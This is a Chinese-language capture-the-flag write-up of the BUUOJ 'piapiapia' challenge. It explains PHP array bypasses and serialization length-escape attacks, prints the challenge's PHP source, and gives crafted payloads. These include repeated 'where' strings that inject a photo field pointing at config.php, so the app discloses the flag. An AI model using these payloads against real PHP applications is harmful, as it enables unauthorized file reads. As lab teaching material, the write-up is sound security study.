簡介
原題復現:
考察知識點:反序列化、數組繞過
線上平台:https://buuoj.cn(北京聯合大學公開的CTF平台) 榆林學院內可使用信安協會內部的CTF訓練平台找到此題
漏洞學習
數組繞過
1.1 url傳遞數組
當我們要向服務器傳遞數組時,我們可以通過
http://127.0.0.1/index.php?a[]=hello&a[]=world
來傳遞,這樣,在后端,
$a = $_GET['a'];
就可以接收到
$a[0]=“hello”, $a[1]=“world”。
md5(Array()) = null sha1(Array()) = null ereg(pattern,Array()) = null preg_match(pattern,Array()) = false strcmp(Array(), "abc") = null strpos(Array(),"abc") = null strlen(Array()) = null
https://www.jianshu.com/p/8e3b9d056da6?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation
一個簡單的例子
從這個例子我們可以看出序列化后的字符串以"作為分隔符,但是並沒有導致后面的內容逃逸 這是因為分序列化時,反序列化引擎是根據長度來判斷的。
從這個例子我們來看第一個例子正常序列化 第二個例子序列化后面的22222被丟棄了
如果程序在對序列化之后的字符串進行過濾轉義導致字符串內容變長/變短時,就會導致反序列化無法得到正常結果
$str1="xiaohua"; $str1_serialize=serialize($str1); echo $str1_serialize; //s:7:"xiaohua";
echo "<br>"; $ser_str1='s:7:"xiaohua";2222'; echo unserialize($ser_str1); //xiaohua
一個存在漏洞的小例子(改變序列化長度,導致反序列化漏洞)
借用大佬一個案例 我們目標想修改sign的內容也是 簽名 修改成 Today is very good
<?php $username = $_GET['username']; $sign = "admin"; $user = array($username, $sign); $seri = bad_str(serialize($user)); echo $seri; $user=unserialize($seri); echo $user[0]; echo "<br>"; echo "<br>"; echo $user[1]; function bad_str($string){ return preg_replace('/\'/', 'no', $string); }
正常情況 默認sign里面的值是admin
我們加上單引號此時報錯了 還有個過濾替換 加一個替換成no 兩個則是兩個no...
上面圖報錯了能做什么呢 我們的目標是修改admin為 Today is very good 系列化后是i:1;s:18:"Today is very good";,再加上結尾和能和前面用戶名閉合的符號payload ";i:1;s:18:"Today is very good";} 們要讓'經過bad_str()函數轉義成no之后多出來的長度剛好對齊到我們上面構造的payload。由於上面的payload長度是18,因此我們只要在payload前輸入18個',經過bad_str()轉義后剛好多出了18個字符 這樣我們的";i:1;s:18:"Today is very good";} 就成功逃逸了!
再借用大佬的圖
";i:1;s:18:"Today is very good";} //33個字符所以我們要構造33個'這樣在過濾后成了no 多出來33個一共66個字符了
//最終payload 成功修改個性簽名 http://192.168.56.1/www(2)/ff.php?username=ka1'''''''''''''''''''''''''''''''''";i:1;s:18:"Today is very good";}
成功修改
做題過程+源碼審計
有個疑惑 試了好多掃描器掃描不出來 看WP才知道源碼泄露 很多常見的頁面掃描器都沒掃描出來 不解?
下載源碼先審計!
整體架構
class.php審計
經過大致分析首先審計class.php

<?php require('config.php'); //user類 class user extends mysql{ private $table = 'users'; //檢查賬戶是否存在 public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } //注冊賬戶 public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } //登陸賬戶 public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } //顯示用戶名 public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } //更新。。。 public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; echo "11"; return parent::update($this->table, 'profile', $new_profile, $where); } //當反序列化后的對象被輸出在模板中的時候(轉換成字符串的時候)自動調用 public function __tostring() { return __class__; } } //數據庫操作的類 class mysql { private $link = null; //連接數據庫 public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } //查詢數據庫指定數據 public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } //給數據庫插入數據 public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } //更新數據庫數據函數 public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } //過濾函數 public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); //實例化user類 $user->connect($config);
說一下主要的這個函數 是一個過濾替換 如果檢測到array包含的那些select insert等字符則替換成hacker
config.php審計
可以斷定flag在config.php頁面中
index.php審計
這時一個很簡單登陸界面 判斷了一下賬號密碼長度 然后執行user類中的login函數登陸 如果成功則跳轉至profile.php頁面

<?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; //判斷賬號密碼是否符合指定長度 if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); //登陸賬號密碼 if($user->login($username, $password)) { $_SESSION['username'] = $username; //將當前username 寫入到session里面 header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="index.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
register.php審計
這個是一個注冊頁面 輸入相關信息 首先判斷長度 之后使用user中的is_exists函數判斷是否重復 如果不重復則執行 user里面的register()函數將賬號密碼添加到數據庫中

<?php //此頁面接收輸入的賬戶判斷是否重復否的話則執行注冊賬戶類函數然后跳轉 require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); //檢查用戶名是否重復 if(!$user->is_exists($username)) { //注冊賬戶 $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
update.php審計
這個頁面是注冊完新賬戶首次登陸被二次跳轉獲得的 要輸入相關信息 圖片之類

<?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; // //判斷圖片大小 if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); //移動文件 move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); //執行file檢查過濾 追溯下 print_r(serialize($profile)); echo "<hr>"; print_r($user->update_profile($username, serialize($profile))); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
一些input中的限制
利用數組可以繞過preg_match
這里有serialize 想到了序列化
profile.php審計
這個頁面是我們填寫完信息展示的頁面 我們發現了這邊就是讀取數據庫中的信息 之后反序列化將值一一對應
但是對圖片進行了file_get_contents() 之后又進行了 base64加密 這里我們關鍵是發現了file_contents()這個函數
結合上面發現的config.php 我們現在只要想辦法讓它可控讀取config即可得到flag 這塊卡住了 所以經過看wp才解決的
可以通過 變序列化長度,導致反序列化漏洞來構造
piapiapia做題過程
我們將這里簡單輸入數據 因為nickname有限制我們可以隨便輸入幾個 BP抓包修改
首先想辦法繞過nickname限制這里將nickname改成nickname[] 數組繞過
再nickname里面內容 因為后面拼接的值是34個所以我們需要34個where 經過黑名單過濾替換的時候34個where都會被替換成hacker 所以序列化多出了34個字符
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewher
ewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} //34個where 因為后面 這一段內容長度是34";}s:5:"photo";s:10:"config.php";}
點擊發送之后他還要經過序列化一遍 大概成為這樣 此時紅色部分的一段因為where字符是34經過過濾之后會多出34個字符 34個字符代替了它的位置所以導致紅色字符部分成功逃逸 后面的正常序列化
a:4:{s:5:"phone";s:11:"18298873374";s:5:"email";s:9:"aa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherew
herewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0eda351b66f6e6d9450fc05e3443ec4f";}
最后序列化的時候只序列化了紅色的部分后面的認為是多余的忽略了 因為紅色末尾已經閉合了
a:4:{s:5:"phone";s:11:"18298873374";s:5:"email";s:9:"aa@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherew
herewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewh
erewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0eda351b66f6e6d9450fc05e3443ec4f";}
查看源碼獲得base64解密得到flag
參考學習:
https://www.cnblogs.com/litlife/p/11690918.html